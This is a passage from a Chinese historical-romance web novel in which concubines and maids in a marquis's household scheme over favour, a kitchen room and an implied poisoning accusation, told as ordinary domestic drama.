“其实她自己也不用担心,她是贵妾,还生下了爷的长子,以爷的身份,又只能有一个贵妾,除非她自己做了什么,犯了大错了,或是自己把自己给气死了,谁能越过她去。” “这世上的东西,不是自己的就别去惦记,是自己的守好了就行了,自己不乱,反而不容易被人占了去……你说是吗?” “……是,夫人说的是,奴婢受教了。” 玉棋听了这些话,只觉得心口更加憋闷了,柏兰姵这分明是有了更好用的“妹妹”了,就开始嫌弃她这个陪嫁侍女了,还旁敲侧击地不让她跟柏芷兮争。 她心里不服气,柏芷兮的美貌的确少见,性情么,妖妖娆娆的,不得不承认但凡男子多是会被吸引的,可是柏芷兮不端庄、不稳重,这就好比踩在湿漉漉的石头上过河,迟早是要掉进河里淹死的。 柏芷兮的确快速地引起了姜奕辰的兴趣,她服侍了柏兰姵这么多年,姜奕辰确实也没看过她几眼,可那是因为柏芷兮一进门就被摆在妾室的位子上,从一开始就做了姜奕辰的女人。 男女之间那点儿事儿,最难的就是跨出第一步。明明是柏家把这个先机给了柏芷兮才有了现在的局面,凭什么说她不行? 如果柏兰姵早点给她开了脸,她就算没有柏芷兮这般的狐媚功夫,水滴穿石,她自有她的水磨功夫,一定也能拴住姜奕辰的心,没准儿她现在已经是姜奕辰的妾室了。 她越想越气,看着柏芷兮留下的那只匣子就愈发觉得碍眼了,“她倒是回去歇着了,留下她湿了的鞋袜,算怎么回事儿?该不会还想让奴婢们去洗吧。” 第88章 把那鞋袜摆起来看着 柏兰姵这才想起柏芷兮把换下的鞋袜留下了,她看了眼那只匣子,噗哧一声笑了出来,自从嫁人之后她还没这样笑过: “不用打开,你把那只匣子放到那个角桌底下,要是爷来了或是外客来了,就踢进去,别让人瞧见了。要是姚小娘来了,就把它拽出来一些,一定要让姚小娘看见。” “姚小娘要是问怎么还没扔了,你就说这几日没让府医过来,等他老人家来了,还是得验看一下上面的茶渍为好。她要是想把东西要走,你们拦着就是了。” 玉棋一开始没想明白,等见到筝儿时,听了她几句才明白过来,她不得不承认柏芷兮是有些手段的,更令她不舒服的是,柏芷兮出了招,柏兰姵竟然就接住了。 她们两个竟然开始有了配合的默契,这对她来说可不是个好兆头,柏兰姵原本就喜欢筝儿多过她,现在又来一个柏芷兮。 这样下去她只有出去配人这一条路可走了,她要是配的是家奴,即便能许一个管事儿的,她也还是奴婢,她将来的子女也都是奴才命。 就算柏兰姵给她放了良了,在外面给她找一个良户,恐怕不是清贫人家,就是铺子里的掌柜什么的,再好的人家也不愿意要她这样的。 要说她们这些从小跟在夫人身边服侍的,不比外头有些小户人家的姑娘差,可是这可不意味着她们就比那样人家的姑娘嫁得好。 一来她们是没什么家世的,主子和家里能给一份儿还可以的嫁妆,简单过日子是不愁的,可更多的,恐怕就没有了。 二来,她们到底是从奴籍赎出去的,现在有一种叫法叫做脱贱入良,说的就是她们这样的,说是入了良籍了,其实还是脱不了贱籍的影子,即便是多年之后也一样容易被拎出去说事儿。 再者就是她们是夫人身边服侍的,说出去的确体面,可有些讲究的人家却难免怀疑她们是不是服侍过家里的爷们。有些被爷们沾过身的,爷们新鲜劲儿过去了,没给抬成通房或是妾室,就给打发出去了配人也是有的。 要是这样的,通常府里陪送的会多一些,有些贪图钱财也不甚在意贞洁的人家不会介意,娶回去之后日子一样过,只是这样的通常都是一些小商贾人家或是小乡绅。 再好一些的人家是不愿意要她们这样的人的,毕竟出嫁之前有没有被主子沾过身,外头的人哪里知道,都想着要是有也是瞒着的。 要是一个不小心娶了被主子沾过身的,万一将来自家想搭着府上的东风做点什么,或者就是有机会跟里面的主子打交道了,家里的夫人一出去交际,遇上了曾经服侍过的主子了,或是见到自己的旧主了,那得多尴尬。 想到这些玉棋叹了口气,难得跟筝儿说了句现实的话:“你呀,今年也有二十了,我看你是不想服侍爷的,那就早点打算吧,趁着夫人信重你,看看能不能给你找个好人家。” “别像我,拖到这年纪了,就算放出去嫁人,谁还信我是没被爷沾过身?我是没路走了,你还有机会。” 筝儿出去也就是嫁个殷实人家,可是她知足,觉得这样就不错了,不像玉棋,这样的人家她是看不上的。 筝儿哪里不知道玉棋心气儿高,劝过多少次了,都没用,可她还是得劝一劝,她便旁敲侧击地道: “谁说没人信了?这府里上下有的是知道根底儿,再不然咱们夫人嫁妆铺子里的掌柜也信夫人,还是不行的话,咱们侯府也是武勋人家,曾经府军里的部旧也是信爷的。” “只要夫人替你作保,或是夫人求了爷为你多句嘴,还是有机会的。夫人又不是没提过,偏你自己不愿意。” “你就别劝我了,我是打算一直服侍夫人的,将来府里配一个就成了,没人嫌我年纪大……你还是多为自己打算打算吧,只是……” “什么?”玉棋知道筝儿不会说她想听的,可还是问了。 筝儿无声地叹了口气,压低了声音:“就算你真跟了爷了,你觉得你比芷小娘如何?爷将来还会有别的妾室、通房,个个儿都是年轻貌美的,一辈子争来斗去的,你不累么?” “累?那有什么好累的?你既然说了芷小娘了,她不累么?还不是削减了脑袋往上钻。”玉棋不服气地道。 筝儿是真服了玉棋这点儿见识了,好在这会儿已经下了值了,都在自己屋里,两个人一个榻上躺着呢: “你想什么呢?芷小娘别的事儿上怎么想的我不知道,可单说她进府做妾这件事儿上,她那是没得选了,要不然你觉得她就一定愿意?” “她小时候不知是被亲戚卖了还是被人拐了,总之是道了人伢子手里了,可你想想,人伢子手里的人多数都是卖去为奴为婢的,她怎么就偏偏到了揽月苑了?还是因为她那张脸。” “既然已经沦落到那种地方去了,她一个弱女子又没有别的出路,在外面嫁个普通人家,谁护得住她?说不准那是连那户人家也要一起害了的。要是去了富贵人家,她没有家世,还无亲无故的,去了一样还是得做妾。” “能进了咱们侯府,这已经是她命里最好的一条路。她没有选择的机会,要是有个能让她安身立命、不至于被人欺辱了去的地方,单凭她那一手好厨艺,练上几年,还能没个活路了?” “可是,我的玉棋好姐姐,你我不一样,你我还有的选,明明有更稳妥的路走,将来也能过上子孙满堂的日子,你为何要上杆子地过那骨肉分离的日子呢?” 筝儿的目标很明确,她没什么大志向,没想着出去嫁个富贵人家,更没巴望着将来子孙能给考个状元回来,再给她争个诰命。 出去了,她也不过是嫁个殷实人家或是个做小生意的,可这世道不容易,哪天出点差错,家里一下子就破败了的有的是,甚至有的摊上事儿了,一家子又都成了奴籍了。 第89章 做这个年纪该做的事 她就想搭着侯府和柏兰姵这艘大船过,之后嫁一个外院的管事儿,两边搭着伙过日子,还能在外面分一个小院子,日子总能过起来。 而且那些个管事儿成婚都晚,二十五六还没婚配的有的是,他们也不嫌弃年纪大些的,还觉得年纪大些的贴身侍女服侍主子的时间更长,跟主子的情分更深呢。 筝儿看人一向准,自从柏芷兮在大厨房露了那一手之后,她便想了,要是柏芷兮不是早早地没了爹娘,就是让她继续做个食肆东家和厨子的女儿,她都不回来做妾。 做妾有什么好的?将来自己的孩子还得给夫人养,想多跟孩子说句话,还得看夫人的眼色。不说,自己想得不行,说了,怕夫人怪罪,还可能连累到孩子头上去,何苦来的? 她们这些府里服侍人的,又跟外面贫寒人家的女儿不一样,她们就算嫁不到富贵人家去,混个衣食温饱、平安一生的几率也不低,完全没有必要走在做妾这条路上跟人挤。 尤其是玉棋这样的,她挤得过谁? 筝儿最近经常会想,她要是姜奕辰,她也愿意去柏芷兮那儿,要是玉棋进了后院儿,你看姜奕辰能理她几回。 这一晚玉棋没再说话,她知道筝儿说的有道理,可是她就是不甘心。 外面是有疑心她们清白的人家,可要是跟柏兰姵、姜奕辰熟识的人家又不一样,可问题就在于她还是嫁不到富贵人家去。 她要是认了命了,一个嫁妆铺子里掌柜,一个侯府熟识的行伍人家的低等军士,都能成为她的归宿,可那样的话她就要做一个掌柜媳妇,或是嫁到边远的地方去了。 她既然命好进了柏家,又进了这定安侯府,无论如何她都该抓住命运给她的恩赐,一定要留在这侯府里才行…… 玉棋和筝儿这边说了小半夜的话,芷春居里早些时候,主仆三人也借着一块儿做针线说起了小话,这情景颇为难得。 要说柏芷兮和冬暖是经常说话的,这次难得的是带上了秋寒,白天的事儿一过,秋寒是真的开始认可柏芷兮这个主子了。 不过这三个人里头到底秋寒年纪最长,在侯府里的年头最长,又是柏兰姵派来的,代表着主母,这时候难免还是有说柏芷兮几句的: “小娘今日好威风,把姚小娘顶得话都要说不出了,可你可否想过后果?你自己也就罢了,万一给夫人惹了麻烦怎么办?下毒那种话也是能随便说的。” 姚初蕊只是说了一句吓唬的话罢了,就被柏芷兮抓住了话柄,那话说她还能给她下毒不成,就好比有人让你过去,你不过去,那人便说站那么远,我还能吃了你不成? 其实两者的性质是一样的,一定就不是真要吃了她或是毒了她去的,偏生她不依不饶。 柏芷兮在灯下笑得像朵儿花儿似的,只嬉笑着回道:“秋寒姐姐就说,痛快不痛快吧?夫人身份在那儿摆着,自是不好跟她计较的。” “可什么人都没贤德到能忍一辈子的份儿上,夫人既然没办法跟她计较,那便由我来好了。我就是一个妾室,出身还不大好,我不撒泼谁撒泼?” “你……你这就是仗着姚小娘也不好放开了撒泼。”秋寒说着说着,自己也笑了。 姚初蕊是一个有出身的贵妾,受着大家闺秀的教养长大,她那泼撒的总有一种意犹未尽、火候不到的感觉,遇见一个能放得开手脚还唱念做打样样精通的,她就施展不开了。 柏芷兮绣着手里的裙子边儿,暗暗看了秋寒和冬暖一眼,有些话她不方便说透,这二人也是没有一个反应过来的。 其实原本她自己也没反应过来,还是早先柏兰姵的一句话提醒了她。 她柏芷兮,长在揽月苑,从小学的就是如何做妾,又生了这么一副狐媚模样,她要是太端庄了,这也不行,那也不是,连口吃的都不给姜奕辰,只图一个安稳……那她在姜奕辰的眼里,是不是城府太深了? 柏兰姵的原话不是这么说的,但意思就是那么个意思,城府深不一定是坏事,可那时她们女人之间私下里说说的,姜奕辰可不想要一个年纪轻轻就满腹心机的女人。 她应该表现得更像她这个年纪、这般经历的女子才是! 其实若不是重活一世,不是有了上一世的惨痛经历,她的确不是这个样子的。 上一世的这个时候,她还在满心欢喜地以为自己终于嫁给了一个满腹经纶、风光霁月的读书人,想着虽说是为妾,可他没有正妻,她便与正室没有多大区别,正筹划着要怎样把日子过起来呢。 那时候面对武家老夫人的刁难,她还不是每天都活得开开心心的,谨小慎微的时候是有,可多数时候她都很会在苦日子中寻找小乐趣。 这一世,她是重活了,可是别人并不知道,她要是把上一世的痕迹带到了现在,在别人眼里她可就真成了城府极深了。 像她这样的年纪的侯府姬妾该做什么?献媚邀宠、争风吃醋,每日里闲下来就想着如何保养皮肤和打扮自己,才是她该做的,否则就算姜奕辰不觉得她满腹心机,也会觉得她太过老成吧。 因此她被人欺负了,该不高兴就要不高兴,该撒泼就得撒泼,该使小心眼子,就得明明晃晃的把心眼子使出去。年轻妾室么,就该有个年轻的样子! 柏芷兮笑了笑,一边让秋寒看她手上的绣活绣得怎样,一边道: “我就是一个妾室,比不得夫人端庄贤淑,况且这后院里有几个女人,就相当于有多少朵花儿。花儿么,就该朵朵不同才好。” “夫人贤惠、识大体,姚小娘娇蛮、有子、处处为人表率,陶姑娘万事不理,只专注手中的事务,也该有一个像我这样能撒泼打滚、嬉笑怒骂的。” “以后我也不憋着了,谁欺负了我去,我就骂她,或是到夫人那儿告状去也成,我就不忍着了。” 冬暖在一旁附和道:“小娘这样做才痛快,要是处处忍让,后半辈子还不得憋屈坏了。” “痛快?你主子是痛快了,今天把换下的鞋袜都留正屋里了,想来之后玉棋姐姐又该不高兴了,还不知道会怎样跟夫人编排小娘呢。”秋寒不无担忧地道。 第90章 能把姚小娘吓够呛 柏芷兮看了看秋寒,然后跟冬暖对视了一眼,忍俊不禁地道:“我把鞋袜留在那儿,哪儿是给她们洗的?洗了可就没用了。” 见秋寒依旧不解,她才继续道,“茶水湿了我的鞋袜,茶水有没有毒,或是有没有旁的什么,现在都鞋袜里了。现在东西留在夫人那儿了,夫人只需找府医来验一验,里面有什么还不是随意说?” “夫人公正、慈和,做不来那样的事,可东西在她那里,就是那样摆着不动,让姚小娘知道了,怕夫人万一哪天找人验了,说出了什么,她可怎么办呢?” 只要那双鞋袜不被扔掉,柏兰姵就可以随时让人来验,随时都可以栽赃个罪名给姚初蕊。 把事情闹大了,比如说那茶水里有砒霜什么的,肯定要彻查下去,柏兰姵也瞒不住。可要是说里面只是放了些让人身体寒凉的药物,或是什么柏芷兮沾了会出疹子的东西,谁又会说就一定是栽赃呢? 当然了,柏兰姵是正室夫人,端庄稳重、不屑此等小人手段,可她只要把那匣子摆在那儿,就当作是忘了收了,让姚小娘去请安的时候多看上几回,就够她担惊受怕的了。 “你……小娘好坏,怎么能想出这么促狭的法子。这要是让爷知道了,会说你心眼儿小、不识大体的,爷还是对姚小娘很好的。” 秋寒心里畅快,这么些年她都只看着柏兰姵因为身份不好跟姚初蕊计较,只能处处吃瘪,生了一肚子的闷气,连带着身子都不好了。 柏芷兮上来就出了一口气,她们这些老人看着哪儿有不畅快的,可这么一来,柏芷兮这形象怕就不大好了,少不得要有人说她掐尖儿要强、不敬比她位分高的妾室。她这么做,多少有些不顾惜自己。 冬暖嬉笑了一下,用一边肩膀轻撞了秋寒一下:“小娘是妾室,不就应该撒娇做痴,时不时地揪一下别人的小揪揪么?要是小娘处处端庄大方,别人也一样会说闲话。” 就像姚初蕊,大事儿上处处跟柏兰姵比着来,人们在背后都说她恨不得柏兰姵赶紧病死了,她好被扶正。 柏芷兮的出身注定了她没有扶正的可能,可是她要拿出那端庄、懂事的款儿来,一定会有人说她表现得这样贤德,定是为了将来能把孩子留在身边不交给柏兰姵的。 做妾室的就该有做妾室的样子,柏芷兮一边一个揽住二人的肩膀,没半点儿正行地笑道: “好了,不用为我担心,我要是一点儿错处都没有,不需要夫人教导,也不需要她姚小娘体谅,我还做什么妾啊,我该找个地方当女师去。” “不过,我这样也不是对着所有人的,对陶姑娘我就很尊重,还打算请她指点一下我的针线活儿呢。你们也一样,别看着她是通房就轻视她。” 柏芷兮在这芷春居里已经把吃的备下了,要是她被禁足了,至少她们三个能填饱肚子,要是再能把针线做好就更好了,以后做衣裳、绣个物件省得求人了,也能省不少开销。 秋寒和冬暖没有这层备荒的忧虑,可她们对陶丝绣的印象也都很好,自然没什么说的,应下不提。 柏芷兮的脚到底被烫伤了,府里的医婆来看过了,要养十天才能保证一点印子都不留。她在柏兰姵那边告了嫁,自然有排日子的嬷嬷跟姜奕辰说。 刚好市令的差事上最近有事要忙,说是州府的府丞何大人要来检查坊市情况,姜奕辰忙起来,索性就住在了外院的书斋里,只回了西院两趟。 这两晚,他一晚宿在柏兰姵那儿,一晚宿在姚初蕊那儿,之后都风平浪静的,想来既没有接受姚初蕊告状,也没觉得柏兰姵供着那只匣子有什么不合适的地方。 姜奕辰的处置也让柏芷兮看清了一件事,姜奕辰再偏向姚初蕊,他也没有忘记维系后宅的平衡,他也是觉得姚初蕊过分了,才放任了柏兰姵和她敲打姚初蕊。 柏芷兮不理这些繁琐的事,三日之后她扶着冬暖的手能正常行走了,就继续往大厨房跑了。 这几日她不仅把给一品居的酱料做好了,还做了一种跟纸差不多薄厚的甘草肉脯,打算也拿出去试试。南安都的一些贵女传爱这种甜咸口味的小食,说不定也能换些银子回来。 眼看着柏兰姵的生辰就要到了,她为了准备这份生辰礼,多少得筹些银子,不然到时候姚初蕊自然有嫁妆可以花销,陶丝绣自己就能绣出上好的绣品来,唯独她没什么能直接摆在那里的,她可就成了整个西院儿最寒酸的了。 说是西院儿最寒酸还是客气的了,柏兰姵做生辰,府里这几房人都会送礼物过来,不提前筹谋,她变成全府最寒酸都有可能。 柏芷兮在大厨房里忙乎着,准备脚完全好了就告假出府一趟,这是之前姜奕辰和柏兰姵都应了她的,她出去的时候说一声、让人跟着就行了。 大厨房分给柏芷兮的那间房在整个大厨房院子靠里的位置,为了让人们觉得她占下这间房比较合理,她表面上不仅给自己院子里做吃食、教大厨房底下的几个侍婢一些小菜,她在婵儿和几个丫头的帮助下还酿了些酒。 这些酒不是什么有名的东西,也没用什么上好的材料,就是给这府里的下人们喝的。 侯府每年都有几出大的宴赏,是阖府上下都要庆祝的,下人们喝的酒都是米酒,原本要么是到外面的酒铺里买偏下等的酒,要么也是后厨自己酿的。 府里的下人中自有那等得脸的管事儿、管家,他们被人私底下称为二层主子,自是不必喝这种酒的,都有主子赏的好酒。 因此柏芷兮这边帮着底下的人酿了酒也不怕,真有人想动手脚,也动不到这些底下人头上去。 这些个人长年累月地见不到主子,到了年纪各自婚配,出去了无论是放了良还是去了庄子上,好些都不再回来了,连个名姓都留不下,那些有心想算计的人实在犯不着对着他们动手。 第91章 来闹了,她不想退 柏芷兮照例还是只看着和指点,自己不动手,不过这酒她这边帮着酿了,府里这一块儿采买的银子就省下来了,省下的也不全都交回公中,多少还能留下来一点儿给底下的人分了。 这几日,这些个底下的人好多见了她都是满口称谢的,谁多得了银子不说好的,尤其柏芷兮是四房的妾室,也算这府里半个主子,万一哪天她也跟陶丝绣一样管着一摊子事儿了呢,多结个善缘,总没有错。 柏芷兮这么做对自己也是有好处的,这好处不仅是善缘,更多的是她要这一间厨房导致的吞吐数量上。 要是只是为了自己吃口好的、顺口的,她一个妾室长久地占这么一间房也不合适,每日里就做那么点儿东西,早晚得被人说闲话。要是有人细查下去,定然很快就能发现她在这儿做的酱料、酱菜和一些小食是要拿出去卖的。 尽管这些东西所用的食材她都是额外给过银子的,就是香料上用了府里不用的那些碎料、粉料,她也是打过招呼,用银子或是食方、手艺换的,可要是真被查出来了又的确不像话。 她这一酿酒倒是好,有了事儿忙了,帮府里节省开支了,传出去了人们也只会说定安侯府勤俭持家,这样再没人说她怎么就能占上这一间房了。 柏芷兮这日忙完,想着出去也就在这三两日之间了,便去查看了一下要带出去的小罐酱料,做好了标记。 这种小坛子,一个只有男人的一只拳头大小,六个小坛子,刚好放进一只箱子里。这样放不重,柏芷兮自己一个人抱着、夹着都勉强能行,冬暖更是不必说了,抱着走都能健步如飞。 到时候把这箱子往马车上一放,就说去探望她家那世交家的叔伯和兄弟姐妹,自己亲手做的这么点儿吃食是不会不让带出府的。 柏芷兮正想着这日刚好早点回去歇息呢,她的脚好了,在柏兰姵那边的假也就没了,说不定今晚姜奕辰就过来了呢? 不是她盼着姜奕辰过来,她入府已近一个月,其实她也看明白了,要不是她从一开始就是为了要替柏兰姵生子才进来的,她真想就这么过下去。 毕竟这样的日子充实又安稳,除了姚初蕊和偶有抱怨的柏兰姵,还有一个对她有些阴晴不定的姜奕辰,其余的人都说她好。 只是……到底名分已定,什么是她的本分她还是分得清的,不管姜奕辰来不来,她好了,就得先准备着。 正打算回去,就听见大厨房前院的方向热闹了起来,婵儿没一会儿就过来报信,说是她们西院儿的姚小娘来了,正拉着夏姑姑说话呢,说是也想要一间房用着。 婵儿一脸地不服,这后边又没别人,她也就比往日更能说了:“芷小娘你在这儿是实实在在地帮咱么做了事儿的,就连侯夫人都说可以给你一间先用一年,她做了什么?凭什么来要?” “说是给小公子做吃食方便,往日也不见她不方便,小公子都快六岁了,她倒是不方便起来了。分明就是要跟你争,她那样子,会做饭么?” 话这么说不错,也是这么道理,可话不能这么回。 而且这里有个问题就是这些人跟姚初蕊的地位不对等,姚初蕊到底是贵妾,又跟先夫人、世子沾亲带故,大厨房的这些个人无论是府里的还是外头聘的,都不好教她道理。 除非现在侯夫人徐氏是世子夫人葛氏发了话下来,就是不许姚初蕊占了,这些人还真不好说这个话,可徐氏和葛氏会出来为了这么件事儿说话吗?当然不会了。 就算是姜奕辰和柏兰姵也不会站出来,牵扯到府里的事儿了,为了两个妾室出头实在小家子气了,倒不如放任着她们自己解决这件事。 柏芷兮想着,姚初蕊已经过来了,这种时候底下的人不能先乱起来,一乱、一激动,她没错也得变成有错,因为到时候一定会说是她挑唆的。 柏芷兮当下先要把婵儿劝住,她便道:“大有大的道理,小有小的道理。小公子小的时候可以说要吃软烂的,大些了,这马上要开蒙进学了,说是为了读书补养身子,也是有理由要开小灶的。” “这倒是不好说什么,只不过往日大厨房也没短了他们母子的吃食,要加菜、加点心,也没有怠慢的,他们也没说吃得不顺口,突然要插进来的确没道理。” 这几日秋寒也说过,姜奕辰是要给一心居设小厨房的,是姚初蕊自己没要,这会儿又来她这儿讨便宜。 不过,有件事她是真怕,她独占了一间房这事儿的确说不过去,她怕被姚初蕊这么一闹,她这一间房就变成整个四房共用的了,而旁边的那几间空着的,刚好各个房头各分一间。 现在对她来说难做的是,她在这儿做的很多吃食是要自己存起来储藏着备荒的,再或是拿出去卖掉的,万一让别人进来共用这一间房,她每日到底做了什么东西,做了多少,可就毫无秘密可言了。 要说退回她的芷春居去,去求着姜奕辰给她设一间小厨房倒也不是不行。 之前担心刚要了大厨房的这一间就退了回去设小厨房,有出尔反尔地嫌疑,凭白得罪了大厨房这边。这回有姚初蕊来闹,倒是有了一个理由,能合理地退回去了,还不落埋怨。 可是现在她是真不想这么快就退出去的,因为她之前在揽月苑时虽然不至于荒废了厨艺,可也只是小打小闹的,知道的食方多,也有一些自己钻研的巧思,可手上的功夫到底还是落了下乘。 在这儿,她跟夏姑姑、婵儿这样的人相处,其实是互相学习、互相磨砺的,这几日她的手上功夫明显见长,还反过来学了一些侯府里常用菜色的做法。 再就是这大厨房的器物到底要齐全许多,像那烤炉、烘炉、铁板就有许多,这些都是小厨房不能比的。 她要是真退了这一步,为了不让人发现她私底下的营生,她就得把好多工序移回芷春居去,这一来一去的,搬着食材、香料来回走动,还得回来借炉子和器物,也太不方便了。 第92章 下血本 柏芷兮深吸了口气,今日姚初蕊既然来了,她就要想一个一锤定音的法子解决这件事。 她如今能在大厨房占据一席之地,得到了侯夫人的允许和姜奕辰的默许,就是一向给姚初蕊撑腰的葛氏也是默许的了。 既然如此,她只要能拿的出一个立得住的名头,给这些一个理由,她就可以继续在这一年内拥有这间屋子的使用权。 毕竟对于徐氏来说,这只是大厨房里一间空置的灶屋,这些个妻妾,谁对她有用她给谁。 对姜奕辰来说,姚初蕊要这屋子究竟是不是为了姜士明,他心知肚明,就算真是为了姜士明,给她在一心居设一间小厨房也要方便许多。 至于世子夫人葛氏那边,她只是姚初蕊的表嫂,平时能帮姚初蕊撑腰看重的多是跟四房这边的关系,要的是四房管着的庶务上的利益,谁能给她带来利益,她跟谁亲。因此只要姜奕辰和柏兰姵认可的事,她就不会说什么。 姚初蕊得用的时候,葛氏会借口亲戚间互相帮衬为姚初蕊撑腰。要是哪天姚初蕊不得用了,葛氏也可以说是亲戚就更该避讳些、严格些,免得被人说闲话。 柏芷兮下定了决心,一定要找到一个能交代过去的借口,把姚初蕊挡在大厨房之外。 大厨房外间里有一个用来给各管事儿说话的前厅,此刻姚初蕊正跟夏姑姑在里面说着话。 “姚小娘,不是奴婢不答应,芷小娘能占这一间是侯夫人点了头的。原本也没把话说死,只说让她用着试试,还是后来看她着实得用,这发了话,说先给她用一年。” 夏姑姑脸上有些许的为难,心里却叹了一声,这一天终于来了。 姚初蕊笑了笑,听着是在商量,语气却强硬得很:“这话就说的不对了,她会做几个菜就是个有用的了,那我也可以很有用,这屋子怎么就不能给我一间了?” “我刚才转了一圈,大厨房这二进的院子可都空着呢,拿来堆些不用的物什有什么用,都不如分出来给有需要的人。与其在内院设小厨房,倒不如分出来一些给各房用。” “我也不让夏姑姑为难,要是实在分不出一间来,让我与芷小娘用一间也成,我们姐妹之间也好做个伴儿。” 这是大厨房的地方,姚初蕊即便想要搭伙儿用一间,也得经过夏姑姑的东西。相应的,因为柏芷兮也只是个借地方的,她想进去,反而不一定需要经过柏芷兮的同意。 姚初蕊想的很好,单独要一间,她要是不怎么用的话,很快就会被收回去。 她要是跟柏芷兮共用一间的话,柏芷兮常用,她即便不用,也有柏芷兮占着这屋子,不会被收回去。 再者说,她这要这屋子又不是真拿来做饭的,她是拿来跟柏芷兮、柏兰姵对着干的,共用一间,她刚好可以观察一下柏芷兮在做什么,也好抓些把柄在手里。 夏姑姑稍微一想就明白了姚初蕊的用意了,这主意听起来在理,可以两相兼顾,细一想却不行。 姚初蕊摆明了就是奔着挑事儿去的,被她这么一折腾,闹出事儿来,这可是在他们大厨房的地界儿上,他们可都是有责任的。 况且夏姑姑是真挺喜欢柏芷兮这个人的,给他们食方用,教授菜品的具体做法时也不藏私,为人还和善,自己享受了好处了,也没忘了他们,但凡有机会了,就会帮他们做些事。 这姚初蕊可全然不是这么一回事,虽说平时吃喝上也给了赏钱,可是姚初蕊的事儿也经常让她们很难做。 就好比平时的菜色加了银子要添,可这一添就超了正室夫人的规格了,再比如自己做生辰的菜色、点心,就没有哪样不是照着正室夫人的来的。 你说大厨房给她做吧,传出去得罪了柏兰姵。不给她做吧,柏兰姵当时也并没有追究,又只是几个菜而已,要是因为这点儿小事把人给得罪了也不好。 这要是让姚初蕊进了大厨房,她天天找柏芷兮的茬儿,他们这些人管是不管? 不管吧,柏芷兮可怜不说,这里毕竟是他们大厨房的地界儿,由着姚初蕊在这儿欺负人,他们也难免有失体面。管吧,就姚初蕊这性子,回头一定要找他们的麻烦。 夏姑姑想了想,就把话说的重了些:“姚小娘不是外人,有些话奴婢就直说了。别的小娘爱个金银珠翠、花儿朵儿的,主子还赏些首饰、赏些花儿呢。” “芷小娘她就爱庖厨之术,这就像是世子爷从前的那个妾室喜欢古琴,世子爷就给她设了一间琴房一样。咱们府上的小娘们命好,侯爷和各房的主君也都宽厚,这都是把你们当女儿、姐妹宠着的。” “你就当芷小娘这爱好是别人喜爱的琴棋书画一样,这屋子就当给她设了一间琴房了。奴婢观察了这几日,也是发现她是真心喜欢的,见天儿地来。” “要是芷小娘也想来,不是不行,可你这厨子在哪儿呢?四夫人可允了他们进府了?小娘可是会亲自来下厨?你那儿还有个小公子,顾着照顾小公子了,哪儿还有空来?这屋子要到了却总空着,别人看到了,奴婢这儿也不好交代啊。” 姚初蕊不是不明白这些道理,可她就是想要一间别柏芷兮的苗头看,就算胡搅蛮缠,她也是要要到的: “这话可就说差了,芷小娘也不是一直都自己动手吧?据我所知,她身边的那个冬暖也是帮着做的,我也有侍女,难道就不能帮我了?” “再说了,世子爷姬妾的琴房,是世子爷允了之后才设的。这芷小娘可不是个老实的,我们爷之前可是明着说了不许她设的,结果她阳奉阴违、先斩后奏地来求了你了。” “她都这样了,还不许我也这样么?我这不是就来求夏姑姑了么?这点儿银子给大厨房添灶火用,也算是我的一点心意,还望夏姑姑笑纳。” 姚初蕊是下了血本的,一上来就递了五十两的银票上来,这可不少了,现在外头可是十两银子就能买一个丫鬟的。 第93章 姚小娘打算怎么回? 夏姑姑不是不动心,可这个先例她着实不敢开,姚初蕊到还是其次,四房姬妾少,斗也斗不出多大的水花。 可是东院儿世子那边就不一样了,那边两个贵妾、三个良妾还有十余个通房,里面能拿出五十两银子的可不少,万一各个都来这么一出,他们大厨房干脆就散了吧。 夏姑姑一咬牙,也顾不上那么多了,语气不得不强硬起来:“姚小娘,这事儿真不能这么办,其实当日芷小娘找到这儿的时候,她虽然没有明说,可是奴婢也是猜到了四爷多半是未准许她有小厨房的。” “还是她的手艺着实帮了侯夫人一个大忙,这才破了例的。你可以说这事儿没有成例,可说这事论功行赏绝对是说的通的。” “小娘你要真想在这儿也要一间,那便也要看看你对这大厨房有多少提点和帮助了。这一点还望小娘谅解,大厨房的口子不能轻易开。你要是要给士明少爷做什么,我在这儿跟你保证,保证都尽力给小少爷做好了,按时按量的给你们送过去。” 若只是为了自己家吃喝,就叫大厨房的厨子来做就好了,偶尔需要自己做点什么,自然有前院儿的公灶给她们用,犯不着单开一间。 但凡单开一间的,得对大厨房、对上头有好处才行,可不是光自己在这儿做吃食就够了的。 夏姑姑为了让自己说的听起来好听些,不免多劝了几句,“小娘是富贵人,芷小娘可不能跟你比。她那是担心自己生不出儿子,想让自己看起来有用些才来咱这大厨房钻营的。” “不说别的,这灶房里油烟气可重,冬天还好些,其他季节可是热得很的,就她那小脸儿,现在看着还白嫩嫩的,再过些时日你再看,定是要有黄气的。” “小娘你比她尊贵,还有小少爷在身边,要是闹了一身的油烟气,小少爷闻着也不舒服不是?要让奴婢说,小娘大可不必跟这样的人比,说不准哪天那就是另一位陶姑娘了。” 夏姑姑之前试探过徐氏的意思,至少目前徐氏没有让柏芷兮变成第二个陶丝绣的打算,可她就得这么说,只要能把姚初蕊忽悠走了就行。 姚初蕊却是越听越气,在她看来夏姑姑说的这些都是借口,一点也不可信,她啪的一声把银票拍在桌上,杏眼圆瞪,立时就骂了起来: “你这个不老实的老货,你是大厨房的管事,也是外头聘回来的,可说到底也依然是侯府的家奴。你也知道我是士明的生母,一见灶房而已,为了士明就不能破例了?” “她柏芷兮对你们有功,得了侯夫人赏识了,我有了小公子,难道就对侯府没功,就不得侯夫人赏识了?她柏芷兮就是一个以色侍人的东西,她难道就不怕被油烟熏黄了脸了?” “你也别磨叽,养颜之术我们姚家知道的不比她柏家的少,我还能怕了油烟不成?你想拿这些吓退我,门儿都没有。你就说,这事儿办还是不办?你要是不办,我也不怕让你这大厨房的管事儿换个人来做。” 大厨房的管事儿不管谁来做,都得是徐氏的心腹,真不是姚初蕊就能换了的。可是姚初蕊要是跟葛氏联手,让夏姑姑吃顿挂落的本事还是有的。 夏姑姑不是一点不怕的,她们这些来帮厨的庖厨,都是能少一事绝不多一事的,可这事儿她真不好退让。 她只得把姿态放得更低些,语气里稍微带了些央求地道:“姚小娘,这……奴婢也为难,你们四房就是要了两间去倒也不打紧,可世子那儿的人又该怎么办呢?” “你拿银子来疏通,可那边儿也不是给不起的,明儿一个两个的都来,你让奴婢怎么跟侯夫人和你们四爷交代?” “要不你看这样成不成,你跟芷小娘不一样,你是四爷心尖儿上的人,又有咱们府上唯一的小公子,你干脆去跟四爷商量一下,把借灶、借屋儿这事儿重新定个章程出来,也让奴婢不要怎么难做。” 府里的庶务都是徐氏和姜奕辰在管,只要出了这章程,别管合不合理,他们这些人只要照着做就是了。不落罪责,少落埋怨,就挺好的。 